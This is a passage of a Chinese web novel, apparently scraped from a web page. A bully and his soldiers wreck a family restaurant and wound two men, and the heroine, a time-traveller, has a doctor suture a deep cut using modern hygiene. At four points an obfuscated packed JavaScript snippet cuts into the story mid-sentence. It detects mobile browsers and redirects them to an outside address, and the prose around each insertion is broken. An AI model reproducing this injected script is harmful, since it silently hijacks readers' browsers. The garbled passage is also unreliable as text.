西栏坊?明月楼?还找女人?一看那就是青楼!别说她这只是个普通的饭馆,就说前后忙碌的那三个儿媳妇,这要是她去找了姑娘,以后她们还怎么做人!这个郭宜,真是不要脸! 秦嘉言攥紧了手,指甲掐进掌心,强压着怒火:“郭公子,实在对不住,我平时就在饭馆里,不怎么出去,你说的那个什么楼的,我不熟,没法帮您找。您要是想找乐子,不如等一会吃完了饭在带着你这几个兄弟过去,不是更好么!” “不熟?”郭宜拍了下桌子,酒洒了一地,“呲,我看你是不想帮我才是真的!老子的话都不听?信不信我明天就让你这破饭馆关门!我姐夫可是总兵,在平安镇,还没人敢跟我这么说话!” 秦嘉言看着被酒杯砸到的富贵,心里又气又怕。 郭宜是平安镇总兵的小舅子,真要找事,聚鲜馆肯定扛不住。可让她去青楼找人,她也实在做不到。 她深吸一口气,尽量平静地说:“郭公子,您大人有大量。我这饭馆是小本生意,只做吃食,不做其他的生意。确实没法满足您的要求。您看,您要是不满意,我今天这桌菜给您免单,您看行不行?就别为难我这小饭馆了。” “免单?”郭宜眼睛瞪了起来,伸手就要去抓秦嘉言的胳膊,“本公子缺你那点钱?今天你要么去给我找人,要么就陪我们喝酒!二选一!” 秦嘉言赶紧往后退了一步,避开他的手,连忙向福贵使了个眼色,让他端茶水上来:“郭公子,您的茶水来了,你先喝着茶,我再去给您找点小茶点,让您解解腻。”说着不等郭宜反应,转身就下了楼。 “等一下。”郭宜二话没说就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259507|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拽住了她的袖子。“老子不喝茶,老子就要找人陪酒。你要是不帮我找人过来,你今儿就别走了。” 李玉生听着楼上乱哄哄的,不知道什么情况,大哥去进货了还没回来。他想要先上去看看,却被陈氏拦了下来,“小叔子,娘交代了,不让我们上去。楼上那些人不好惹,怕在生出什么事端,她还特意嘱咐我在这看着你。” 李玉生气的将手里的茶壶一摔,“这楼上的都什么人呢?要叫姑娘直接去青楼啊!来什么饭馆?二嫂,你闪开,我上去看看怎么回事,还敢扣我娘?看我不弄死他。” 陈氏二话没说,直接将他拽到了后厨房,“你就听我的,先别出去。我去看看怎么回事,要是情况不好,我一定会喊你的。你先别过去添乱。” 李玉生刚想说什么?就见大嫂李氏向他使了个眼色,“你就听你二嫂的。刚才娘上去之前特意交代的。你要是就这么上去惹了祸,我们也没法和娘交代。” 李玉生只能点了一下头,气得咬着牙用力的锤了一下桌子。 “郭公子,”秦嘉言深吸一口气,尽量让自己的声音稳一点,“实在对不住,我们这饭馆小,实在容不下您这尊大佛,您看这样,今天我一文钱都不收您的,以后您和您兄弟来,我都给您打折怎么样?。” “撵我走?”郭宜“啪”地一拍桌子,碗碟都震得跳起来,“秦嘉言,你真的好大的胆子!我就是让你去西兰坊给我叫几个姑娘而已!你就敢这么驳我的面子?” “您误会了,别那么激动。!”秦嘉言急了,声音也提高了些,“郭公子,我这真就是一个饭馆。从来不沾那些乱七八糟的,您就别为难我了成吗?” “为难你?”郭宜眼睛一瞪,猛地站起来,指着秦嘉言的鼻子骂,“老子给你脸了是吧?秦嘉言,你别忘了,这平安镇是谁的地盘!我一句话就能让你这破馆子关门!你今儿要是不把人给我找来,你看我怎么收拾你!” 说着,他冲身后的军汉喊:“给老子砸!让她看看,不给我郭宜面子,是什么下场!” 军汉们早就蠢蠢欲动,一听这话,立马抄起桌上的东西往地上摔。“哐当!”一个青花瓷碗砸在地上,碎片溅了一地; 另一个军汉伸手把靠墙的八仙桌掀翻,桌上的糖醋鱼、东坡肉撒了一地,油汤溅到旁边一个老妇人的裤脚上,老妇人吓得赶紧往后缩,嘴里小声嘟囔:“天哪,这人怎么这样......” 还有两个军汉往别的雅间走,一脚踹开雅间的门,冲里面喊:“都给老子出来!这地儿被郭爷包了,不想挨打的赶紧滚!”雅间里的人不敢反抗,只能匆匆拿起自己的东西,低着头往外走,有人路过秦嘉言身边时,还小声安慰:“秦娘子哦,你别跟他们一般见识,保命要紧,以后......以后在收拾。” 秦嘉言看着满地狼藉,心疼得厉害,那碗筷都是她精心定制的,别的地方都没有卖。还有客人没吃完的菜,都是她亲手盯着做的......可她更怕的是,一会这些军汉要是疯起来,伤了人怎么办? 就在这时,一个高大的身影从后院冲了出来,挡在了秦嘉言的前面,秦嘉言抬头一看,竟然是顾毅! 顾毅一直在后院温习书,听见前院的动静,赶紧跑出来,正好见一个军汉抄起桌上的青花瓷瓶,要往秦嘉言头上砸。 “嘉言,小心!”顾毅大吼一声,几步冲过去,一把将她往身后拉。秦嘉言只觉得一股力量拽着自己,还没反应过来,就听见“嘭”的一声闷响,紧接着,温热的液体滴在了她的手背上。 43. 第 43 章 秦嘉言抬头一看,吓得魂都要飞了,那手臂长的大瓷瓶砸在了顾毅的前额上,碎片碎了一地,顾毅的额角一下子就涌出了血,顺着脸颊往下流,鲜血瞬间就染红了他的前襟。 顾毅闷哼了一声,身子晃了晃,咬牙坚持着没有倒下,手却还死死护着秦嘉言,声音沙哑:“......嘉言......你没事吧?” “顾毅!你流血了!顾毅你怎么样!”秦嘉言吓得尖叫起来,伸手想去捂他的伤口,可手一碰到血,就忍不住发抖,眼泪“唰”地一下掉了下来,“都怪我,都怪我......早知道,我就不和他们硬抗了......都怪我......” 李玉生在厨房听到她的尖叫,不顾两个嫂嫂的阻拦,拿着菜刀就跑了出来,“娘,您......顾......小舅舅怎么了!”他看见顾毅满头是血,气得浑身发抖,不管不顾就冲着郭宜的方向砍去,“你们这些狗草的!敢伤害我家人?我跟你们拼了!” 李定馨、陈玉桂和刘菇也赶紧跑出来,一左一右扶住秦嘉言,刘菇还拿着一个干净的手帕帮着按住顾毅的伤口。 “娘,你赶紧带着顾先生去后厨。我......我在拦着玉生!”李定馨急得汗都下来了。 李闻生和李水生去两人买菜还没回来,她既害怕这群人在店里糟蹋东西,又害怕小叔子冲动在受伤。还没等她上前,就看见一个大胡子的军汉一刀砍在了李玉生的手臂上。 “不......”她大喊着,立刻扑了上来,用力的按住了李玉生的伤口,“你们这是要干什么!要杀人么!”李定馨用力的尖叫着,用身子死死的护住了自己的小叔子。 那军汉一看是个女人,忽然清醒过来,立刻停住了要继续砍第二刀的手。他猛的抬头看了一眼饭馆里的狼藉,秦嘉言正用力的按住顾毅头上的伤口、李定馨死死的护住李玉生,眼里十分恐惧的看着他,躲在桌子椅子下面的百姓......心里有点懵,又转头看向郭宜。 周围围观的百姓彻底炸了锅,有人喊:“打人了!夭寿哦!出人命了!”有人想上前帮忙,可一看郭宜带着那几个军汉拿着刀那凶神恶煞的样子,又缩了回去,只能在旁边急得跺脚:“这可咋整?这秦娘子一家可真够倒霉的惹了这样一个煞星!顾秀才可别破了相才好,这以后可是要进殿试的人!” “郭宜也太无法无天了,连秀才都敢打!无故殴打秀才相公,可是要下大狱的!” “我看秦娘子那小儿子也够呛,你看那血都止不住,赶紧送医馆啊!别耽误了,这胳膊怕是要废了吧?!” 李闻生和李水生买完菜,刚到大门口,就看见一伙军汉骂骂咧咧的从门里出来,边上还围着一圈百姓对着里面指指点点,看着他们俩的眼神也带着几分同情。 他们忙把菜丢在一边,三步并作两步向饭馆跑去,肯定是饭馆出什么事了,不然怎么会有带刀的官兵进来!早知道就不光留老四一人在家了,关键时候一个男丁怎么靠得住! 他们俩还没跑到门口,就看见郭宜骂骂咧咧的走出来,边走还边吐着唾沫。 郭宜也没想到会伤人,刚才那一下他也看懵了,这会儿见顾毅和李玉生满身是血,心里有点发慌,但嘴上还是硬的:“什么乱七八糟的!他们真是活该!尤其这个人!他自己凑上来挡的,跟老子没关系!” 他瞪了秦嘉言一眼,又放狠话:“我告诉你,今儿这事儿没完!谁......谁让你先瞧不起我的!我告诉你,你要是敢乱攀咬,小心我让你全家都在平安镇待不下去!还有你,”他指着顾毅,“下次再多管闲事,老子废了你!” 说完,他怕再待下去出乱子,赶紧冲军汉们喊:“走!还在这儿愣着干什么!”一群人骂骂咧咧地往街外走,路过门口时,还故意撞了一下刚才被撵走的商人,商人踉跄了一下,还是没敢吭声。 李闻生二话没说抄起放在一旁扫帚就冲了上去,他还没看清里面的状况,但看领头那人嚣张和咄咄逼人的样子,就知道这人肯定是为难他家了。 李闻生的扫帚还没碰到郭宜的衣角,就被后面敢来的军汉踹翻在地,他刚想起来,又被一个军汉把刀架在他的脖子上,李水生吓的脸色发白,躲在人群中,没敢露头。 “你又是哪来的杂碎!找死么?还敢......”那军汉还没说完,李氏就从饭馆里冲了出来,挡在李闻生面前跪了下去。“大人,这是我相公,他刚从外面回来,还不知道什么事,求你高抬贵手放过我们吧。” 她哭得眼泪鼻涕横流,李闻生刚想说什么,就被她拽住衣袖按住了,“大人,我们小本生意不容易,求您看在里面已经伤了两个人的份上就放过我们吧。”说罢,就朝着郭宜的方向重重的磕了几个头。 郭宜看着李闻生那样子,还想在发作,可一想屋里确实已经见血了,而且现在在屋外,那么多百姓看着,他也不好在下手,“呸!一群穷鬼!真是坏了爷的性质,赶紧滚!在让我看见你们家人,我见一次打一次!”说完给那几个军汉使了个眼色,带着他们往西栏坊方向走去。 等郭宜一行人走远了,周围的店家和百姓们才敢围上来。隔壁杂货铺的金老板赶紧把李闻生扶起来,“大侄子,你别冲动,别和他们那样的人一般见识,赶紧进屋去看看你娘和你弟弟,我看里面好像有谁受伤了!” 柳娘子从后面出来帮秦嘉言按住顾毅的伤口:“秦娘子啊,别慌,咱们先把顾秀才和玉生送到医馆去,李大夫就在街那头,别去晚了在耽误事!福贵,你赶紧想跑过去,让李大夫先别走,把治伤的东西都准备好!” 旁边铺子的许老板看着他们的样子连忙说:“我家有板车,就在后院!我马上去推过来,让他们坐上去,省的颠簸。”说完就跑了出去。 秦嘉言急得六神无主,刚才顾毅看那群人走后,像是放下了最后的心神,一下子就昏迷过去。李玉生胳膊受伤,血流不止,刘菇和陈玉桂轮番按住他的伤口,染满血的帕子换了一条又一条,他的脸已经没有一丝血色。 “娘,顾先生!四弟!”李闻生跑进来,看见眼前的样子,急得差点脚软,还好李氏在后面及时扶了他一把,“快!相公!你赶紧将顾先生和四弟背起来送到医馆去。” 不一会儿,许老板就把他家的板车推到了前院。陈玉桂和刘菇赶紧将李玉生扶了上去。李闻生背起了顾毅,秦嘉言跟在后面扶着,手一直没有离开他头上的伤口。 李水生从人群里跑出来,拖着顾毅的身躯往上扶了扶,李闻生没有说话,余光瞥了他一眼,就赶紧拉着车往街头的医馆跑去。 刚到医馆门口,李大夫就迎了上来,他先看了看顾毅和李玉生的伤势,立刻让自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285229|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小学徒,帮着把顾毅移到屋内,先洒上金疮药,自己则是守在了李玉生旁边。 李玉生已经昏迷了,他禁闭着双眼,全身止不住的哆嗦。刚才往这来的时候,李水生已经将自己的外衣盖在了他的身上,可他还是止不住一直发抖。 “这个小哥失血过多,比较严重啊!”老大夫从怀里拿出了金疮药,在他的伤口上洒了下去,没一会,就被血冲开。 “这......这药也被冲掉了,在止不住血,这小哥怕是会有性命之忧啊。”老大夫急得额头上渗出了些许汗珠,想了想把整瓶金疮药都散在了伤口上。 还好,不一会,血就完全止住了。他用袖子仔细擦掉了额头上的汗珠,才让李闻生将他的弟弟背到屋内。 秦嘉言看着李玉生全身止不住颤抖的样子,知道他这肯定是失血过多的缘故。“定馨,你赶紧去帮着烧一大壶开水,在去厨房借点盐,给玉生喂下去。” 李大夫看了一眼秦嘉言,心想着娘子真的好厉害,临危不乱,还知道用喝水的方法来补充水分,可是,加盐是什么道理? 他点了一下头,屏住心神用剪刀剪开了李玉生的衣袖,刚看到伤口,就蹙起了眉。 “秦娘子,借一步说话。”他想了想把秦嘉言带到一边,用尽量平和的声音对她说:“秦娘子,你要做好心理准备,您儿子这伤口有点棘手,不太好处理。” “怎么了?血不是止住了么?”秦嘉言一脸着急的问,恨不得让他赶快去处理伤口。 “我看了,伤口太深了,肉都翻出来了。最好的方法就是拿烙铁烙在伤口上,不过这样一来的话,这小哥的胳膊怕是以后就废了。” “烙铁?”秦嘉言又点不敢相信自己听到的话,这......不是古代的刑具吗?“不能把伤口缝上吗?为什么上来就用这么凶残的方法?” “缝上?秦娘子你真是会说笑,人又不是衣服,拿能缝上?”老大夫奇怪的看着她,这秦娘子怕不是急疯了吧? “烙铁已经最好的方法了,不过我得丑话说在前头,就算是我,也只有一半的把握。他要是以后高烧不退......就算是大罗金仙也难把他的命救回来了!” 该死!她是在古代!这个时代的医疗水平也太落后了!秦嘉言懊恼的锤了一下手臂。 “李大夫,”她指着躺在隔壁床上的顾毅,“之前,我表弟曾跟我说过,他看见过一本异域的医书,说人身上的大伤口能用线缝上,这样存活率高很多,也兴许能保住他的手臂,要不,您试试?” “......”李大夫沉默半刻,摇摇头,“你说的这些我从来都没听说过,哪敢贸然去尝试。万一弄不好出了人命,我哪能担当得起!” 他看着李玉生还在颤抖的样子,劝秦嘉言:“秦娘子,你还是快点决定吧,我也好赶紧准备,不然拖的太久我也没什么好办法了!” 秦嘉言想都没想,直接跪了下去:“李大夫,我知道你医者仁心,德高望重。我家老四还年轻,他不能以后就这么残了,您看您就试试我说的方法。万一出了什么事,由我一人承担!” 李大夫还想犹豫,看秦嘉言给他不停的磕头,又看了看床上躺着的顾毅,算了!反正他岁数也大了,不如就放手一搏! “那好吧!死马当活马医!老夫就试一试!” 44. 第 44 章 傍晚的平安镇逐渐安静下来,不像白天那样喧闹,天色还没黑,街头李家的怀安堂就亮起了一盏盏橘色的小灯。 李定馨手里拿着扫帚,胳膊肘还夹着块湿布,刚把床底下的碎布、干草扫进簸箕,又按照婆婆的吩咐蹲下来擦床沿,她擦得十分仔细,连一点灰渍都没有留下。最后和陈玉桂一起,给整张床铺上了一层干净整洁的床单。 秦嘉言站在床边,和李大夫核对一下最终细节。 “秦娘子,我懂你的意思......”他松了一口气,“我这也是第一次尝试!以前从来没有接触过这种治疗方法。我丑话说在前头,我真没缝过,要是缝得不好,你可别怨我。” “我感谢你还来不急呢,哪能怨你!”秦嘉言连忙点头,转身冲门口喊,“其他人都出去,不要留在这里,闻生,你把玉生背过来吧!” 她看着大儿子李闻生小心翼翼地背着四弟李玉生。李水生则在一旁护着他受伤的左胳膊,慢慢的挪动脚步,生怕一使劲再让他的伤口流血。 “你们轻点儿,再轻点儿!千万别再碰着伤口。”秦嘉言忍不住叮嘱,手伸在半空,跟着李闻生的动作悬着,“床沿别碰着他胳膊,新床单刚铺好,别沾了血。” 李闻生小声的“嗯”了一声,额头上渗着汗,直到把李玉生轻轻放在床单上,才松了口气,直起身揉了揉发酸的胳膊:“娘,我把他放下了,放心吧,没碰着伤口。” 秦嘉言凑过去,帮李玉生把没受伤的右手掖进被子里,回头刚想喊刘菇一声。就见陈玉桂从屋外端过来一个洗手盆,里面是准备给李大夫洗手用的温水。 秦嘉言又看向二儿媳妇连忙说:“你去厨房把盐罐拿过来。在这水里多放两勺盐,搅和匀了,再端过来给李大夫洗手。”陈玉桂应了声,把盆端好,飞快的走了出去。 帘子声轻轻响起,刘菇端着个小黑铁锅进来,锅里的水还冒着热气,里面泡着新拆的粗棉线和几根缝衣服的钢针。 “娘,您看,这些针线煮了快一刻钟了,您看行不?”刘菇把小黑铁锅端到秦嘉言面前,让她检查。她用干净的木筷戳了戳针线,“我一直盯着火,没敢离人,保证煮透了。” “还是再煮一刻钟吧。”秦嘉言走过去,低头看了眼锅里,指尖碰了碰锅沿,烫得赶紧缩回来,“这针线要缝进肉里,差一刻都不行,万一有脏东西,伤口化脓了更麻烦。” 刘菇连忙应着,又往灶房跑,刚到门口就撞见端着盐水盆的陈玉桂,她刚把盐加到温水里,准备端着水盆回屋子,见了刘菇还不忘叮嘱:“灶上的火别灭了,等会儿娘说不定还要用热水。” 李大夫已经坐在桌边,见玉桂把盐水盆递过来,二话不说就把双手泡了进去,连指甲缝都反复搓了搓。 他抬眼瞅着秦嘉言,手里的水哗啦响:“秦娘子,你这法子怪是怪,可这盐水洗手、煮针线,倒像是个讲究卫生的路数?是怕手上的‘脏气’进了伤口,让伤口烂了?” “我也是听顾秀才说的!但这样处理完,应该就会很干净的。”秦嘉言正帮李玉生调整胳膊的角度,让伤口露得更清楚,闻言回头应道,“李大夫您行医多年该知道,有些伤口不是伤得重,是后来沾了脏东西才烂的。咱们把能弄干净的都弄干净,好歹能少让人遭点罪。” 说话间,刘菇端着煮好的针线回来了,用一块干净的白布裹着。 李大夫点点头,把手从盐水里捞出来,用陈玉桂递来的干净粗布擦干,又接过刘菇刚递过来针线。 刘菇用布裹着针线,只露个线头,生怕手碰着。李大夫捏着针,穿线的时候手指微微顿了一下,眼底闪过点紧张,却还是沉声道:“秦娘子,你说这针线缝伤口,得从哪开始缝?是从一头往另一头,还是......” “从伤口中间往两边缝!”秦嘉言蹲在床边,帮李玉生把胳膊轻轻抬了抬,让伤口露得更清楚,“您先把两边的肉对齐,别错开了,针脚别太密,也别太疏,太密了肉长不开,太疏了容易裂。” 李大夫拿出针,穿上线,手微微顿了顿,毕竟是第一次缝肉,心里还是有点发怵。 秦嘉言看出他的紧张,轻声说:“李大夫,您手稳,我知道您行。李玉生年轻,皮实,恢复得快,您放心缝。” 李大夫深吸一口气,拿着针慢慢凑近伤口。刚把针扎进肉里,原本昏昏沉沉的李玉生突然“唔”了一声,眼睫猛地颤了颤,紧接着就睁开了眼。疼得额头上瞬间冒了层冷汗,嘴唇哆嗦着,受伤的胳膊下意识想往回缩。 秦嘉言赶紧按住他的胳膊,急声道:“玉生!别乱动!等这伤口缝合上,你的胳膊才能好!” 李玉生疼得额头青筋都爆起来了,牙齿咬得咯咯响,手紧紧攥着床单,指节都泛白了:“娘......疼......太疼了......我......我受不了了......” “忍忍!你再忍忍!”秦嘉言赶紧从旁边拿起一块干净的粗布,塞到李玉生嘴里,“咬住!别咬舌头!你想想,要是现在停了,用烙铁烫,你这胳膊就废了,以后你还想跟顾毅学功夫,还想娶媳妇儿!” 李玉生嘴里含着布,眼泪都疼出来了,却还是点了点头,任由李闻生按住他的胳膊。李大夫见他不动了,也定了定神,手里的针快了些,一针一针地缝着,线在伤口上留下一道细细的痕迹。 李玉生含着布,眼泪顺着眼角往下淌,另一只没受伤的手紧紧攥着床单,指节都泛白了。李闻生看着弟弟疼心疼的不行,声音发紧:“玉生,哥能按住你,李大夫缝的快一会就好,你在咬咬牙坚持一下就好......” 好不容易缝完最后一针,李大夫松了口气,擦了擦额头的汗:“好了......终于缝完了......这活还挺累!”他还特意回头问秦嘉言:“秦娘子,你看这缝得行不行?要不要再补两针?” “不用,这样就好。”秦嘉言看着缝好的伤口,心里松了半截,又想起消毒的事,转身从柜子里摸出那瓶酒,“李大夫,您歇会儿,我在给伤口消消毒。” 酒刚淋到伤口上,李玉生突然浑身一抽,含着布的嘴发出一声闷哼,眼睛一翻,直接晕了过去。秦嘉言吓得手都抖了,赶紧扔了酒瓶子,探了探他的鼻息。还好,气息还匀,又摸了摸脉搏,跳得不算快但稳,这才顺着床沿坐下来,后背的汗把里衣都浸湿了。 “没事,疼晕过去的,比醒着遭罪强。”李大夫也凑过来把了把脉,捋着胡子点头,“我看这缝合法子看着还真行,等他醒了,好好养着,胳膊说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301225|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不定真能保住。” 秦嘉言还没来得及接话,就听见外屋传来轻微的响动,李闻生赶紧出去看了眼,回来低声说:“娘,顾先生醒了,正想坐起来呢。” 秦嘉言心里一紧,连忙站起来:“李大夫,,麻烦您跟我去瞅瞅外面的人,他是被花瓶砸破了头,刚才还一直昏迷着呢!” 两人走到外屋,就见顾毅靠在床上,脸色煞白,脸上的血已经都被刘菇拿水擦掉了,现在看起来没有那么吓人。他伸手想撑着桌子站起来,见秦嘉言进来,又躺了回去:“嘉言我没事了,伤口也不疼,就是头有些晕,李玉生怎么样了?我看那些军汉砍的那一刀挺狠的!” “他没事了,刚把他的伤口缝完,疼晕过去了,还没醒。”秦嘉言有些心虚,刚才她告诉李大夫那些缝合的法子,可是都打着顾毅的旗号,此刻看见他,不由的有点担心。她走到顾毅的旁边,按住他的胳膊,眼睛一眨一眨的想要他帮着圆谎,可一屋子的人,她只能说:“你别乱动!刚敷了金疮药,伤口才合住,扯着了又得流血。” 李大夫已经走过去,掀开顾先生额头上的布,那道被花瓶砸出来的口子不算深,但边缘有些泛红,他用指腹轻轻碰了碰伤口周围的皮肤,问:“头晕不晕?疼得厉害不?这里疼不疼” “不晕,就是有点沉,疼也能忍。”顾毅摇摇头,目光还往内屋瞟,像是想看看李玉生的情况,“我是被李玉生的喊叫声吵醒的,他没事就好。” “没事,就是缝伤口的时候,会疼得厉害。还是多亏了之前你读的异域医书,提到那什么缝合办法,不然那人胳膊肯定废了。”李大夫有些崇拜的看着他,得亏顾秀才什么书都看,这方法太好了,以后他就能用这种方法治病救人,就不会再有那么多残废了! 顾毅有些疑惑,又看了一眼在旁边跟着他使眼色的秦嘉言,明白了肯定是秦嘉言用她的奇怪办法治疗了李玉生,怕别人看出来,又打着他的旗号。 他笑着应了声:“不过是一些杂七杂八的书罢了,以前觉得有趣,就和表姐说了一嘴,没想到她竟记住了,还好帮得上忙” 秦嘉言这才松了口气,嘴角微微翘了翘:“可不是么,之前你说的仔细的,我就听了进去,这不,这就用上了。” 李大夫把布重新敷好,又叮嘱,“你这伤口浅,金疮药一天换两次,过个五六天就能长好,也不会留疤,你不是要准备科考吗?一点不耽误。” 顾毅点点头,双手合十向李大夫拜了一下,“谢谢大夫!不耽误科考就好,真是太感谢您了” 秦嘉言看在眼里,心里轻轻叹口气,她哪能不知道,他在意科考,多半是向取得功名之后,再来找自己,可是......唉!罢了,以后的事情以后再说吧! 等把顾毅和李玉生都安置妥当,秦嘉言让李闻生、李水生带着陈玉桂和刘菇先回“聚鲜馆”,自己带着李定馨在这里照顾伤患。 秦嘉言有些不放心,又仔细的交代了他们几个:“你们把门关严实了,砸坏的桌椅先挪到墙角,碗碟碎片扫干净,别扎着人。”她特意拉过陈玉桂的嘱咐道:“你一会把店里的损失都记上,大到桌椅,小到一个碗,都别漏,郭宜那厮,这次让咱们家遭这么大罪,我是不会就这么轻易放过他的!” 45. 第 45 章 怀安堂的油灯逐渐暗了下去,屋里最后只剩下秦嘉言和李定馨照顾病人。 虽然天已经黑透了,但秦嘉言丝毫没有睡意,和李定馨一直在说着话,李玉生昏睡着还没有醒,顾毅靠在里屋的另一张床上,闭着眼睛像是在养神,却时不时会睁开眼,看一眼秦嘉言的方向。 李定馨坐在李玉生床边,虽然他们男女有别,但她是长嫂,又是看着李玉生长大的,她又不能让秦嘉言一下子照顾两个病人,只能强硬留下来。 她手里攥着块棉布,上面浸满了冰凉的井水,拧干了敷在李玉生额头上。刚才她摸了摸小叔子的额头,已经有点微微发烫,之前李大夫临走时特意交代,今天晚上他一定会发热,所以虽是有些担心,但还是很淡定的帮他简单退热。 秦嘉言接过她手中的棉布,吩咐她去厨房熬药。李定馨点点头,从桌子上拿起之前李大夫开好的药包,就向后院的灶台走去。 棉布很快就热了,秦嘉言赶紧又换了一盆凉水,重新浸好拧干放在他的额头上,就算是这样,李玉生的脸还是烧得通红,秦嘉言只能一趟趟的多走几遍,去院子里打些冰凉的井水,来回换他头上冷敷的棉布。 要是有冰块就好了!秦嘉言心想:她以前趴在沙发上刷手机的时候,似乎看见过硝石制冰的方法,看起来很简单,不过她自己却没有做过,也不知道能不能做出来,不过眼下,就算是她想,也来不及准备了,等这事解决完了,她倒是可以试一试,以后也可以在她的饭馆里推出一些,冰酥酪、梅子饮之类的甜品。 “娘,我来换吧。”李定馨端着熬好的退热药进来,打断了她的思绪,秦嘉言愣了一下,连忙又要去拧棉布,李定馨赶紧接过她手中的棉布,“娘,您先歇一会儿,我先把药给玉生喂下去,这是李大夫特意开的退烧药,我按照他交代的方法熬的,别放凉了。” 秦嘉言点点头,把位置让给了她,自己又去院子打了一桶水上来,等一会用。“定馨,你把药给他喂下去就去歇一会,药物发作也得需要些时间,我守着他就好。” “没事的娘,我以前看卤煮的时候经常熬夜,都习惯了,明天等玉桂和刘菇她们来了,我再休息也一样的。”她坐在床边,用勺子舀了点药,吹得凉透了才送到李玉生嘴边,药汁顺着他的嘴角流出来一点,李定馨赶紧用布擦了,又重新舀一勺,耐心地喂,直到把小半碗药都喂进去,才松了口气。 秦嘉言给李玉生又换了一块棉布,刚坐下歇了会儿,想起顾毅今天也受伤了,就赶紧起身走过去,伸手摸了摸他的额头。刚摸到就皱起了眉:“天,你也发烧了,难受怎么不喊我一声?” 顾毅睁开眼,看着她近在咫尺的脸,脸色微微红了起来:“我没事,李玉生那边已经够要你操心的了,我不想再麻烦你。” “说啥啥麻烦不麻烦的!今天要不是你,躺在这里的就得是我了!”秦嘉言转身去拿药碗,又倒了小半碗退热药,端过来递到他手里,“你赶快喝了吧,李大夫说这药退烧快,别等烧高了再遭罪。” 顾毅接过她手里碗,却没有喝药,只是定定的望着她:“嘉言......今天这花瓶我挡得不后悔,不,应该说就算是刀,我也会替你挡住的!你也不用再说什么谢不谢之类的话。” 秦嘉言闻言愣了一下,脸砰的一下就红了起来,伸手就想夺过碗:“你......你胡乱说什么呢!你这是烧糊涂了,来,先把药喝了再说。” “我没糊涂。”顾毅把碗往身后挪了挪,语气很坚定,“你知道我是会一些拳脚功夫的,当时那花瓶砸下来,我也也应该有其他的方法去应对,只不过当时脑子就是一片空白,眼前都是你被花瓶砸的满身是血的画面,我就不管不顾冲过去了......但现在我的心里也只有一个想法,还好我替你挡下了,还好砸到的是我,不是你......” 秦嘉言的心猛地沉了沉,她哪能听不懂他的心意?只是..... 她伸手把碗从他身后拿回来,语气软了点,却带着不容拒绝的意思:“我知道你是为了我好,但现在不是说这个的时候。你先把药喝了,好好休息,等你病好了,以后的事我们在慢慢说。” 顾毅看着她,眼神里的情意快溢出来,却还是点了点头,接过碗一口把药喝了。 那药苦得他皱了皱眉,却没吭声。秦嘉言拿过空碗,又伸手把他的被子往上拉了拉,按了按他的肩膀:“你先躺好,别乱动,发着烧呢,再着凉就更严重了。我收拾好了一会再过来看你。” 顾毅乖乖躺下,眼睛却还盯着她的背影。 秦嘉言转身走回李玉生床边,拿起浸得冰凉的布巾,却没立刻敷上去,心里乱糟糟的:不是她不懂,也不是她不想,顾毅以后肯定是能做大官的人,要是真的和她在一起了,那对他的仕途官誉都会有很大的影响。何况她那几个便宜儿子嘴上虽然什么都没说,但心里指不定有什么小心思呢! 油灯的光晃了晃,映着她紧绷的侧脸,顾毅看着她缓缓的闭上了眼睛,他懂,他怎么会不懂她那点小心思,先不急于一时,还是等他考中后,手里有了筹码再说吧! 平安镇的清晨格外热闹,大街上熙熙攘攘摆满了摊位,在怀安堂的里屋都能听见街上讨价还价的声音。 秦嘉言站在屋角,看着李大夫给李玉生换药。才过了五天,李玉生的伤口已经完全长上了,再过几天她就能知道李大夫帮他把缝合时候的线拆开,虽然留了一道长长的疤痕,但好在他的手臂功能没有丧失,彻底好了之后会和正常人一样。 窗棂外飘着几缕凉风吹进来,带着院角薄荷的清苦气。李大夫手指捏着干净的药布,沾着盐水轻轻按在李玉生缝好的伤口周围,他抬眼看着李玉生伤口处的白线,眼里还带着点狂热的惊喜。 他抬眼看向秦嘉言,声音都比平时亮了些:“秦娘子,这缝合的法子是真神啊!不愧是异域传来的。之前我瞧着那伤口多深啊!都能看见点骨头,还担心这手臂肯定保不住了,说不定还要感染发高热小命都难说,没成想这才几日,你看!这伤口都长上了,刚才我让他动动手指,一点都没影响!” 李玉生坐在凳子上,伸手摸了摸自己的额头,笑着接话:“可不是么!我也是后怕,不过缝的时候可真疼啊,像顿刀子割肉似的。不过现在看来,没白遭罪啊!” “可不是嘛!一开始我还想用烙铁呢!多亏你娘决断。”李大夫放下药布,拿起药罐盖好,又转头看向秦嘉言,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 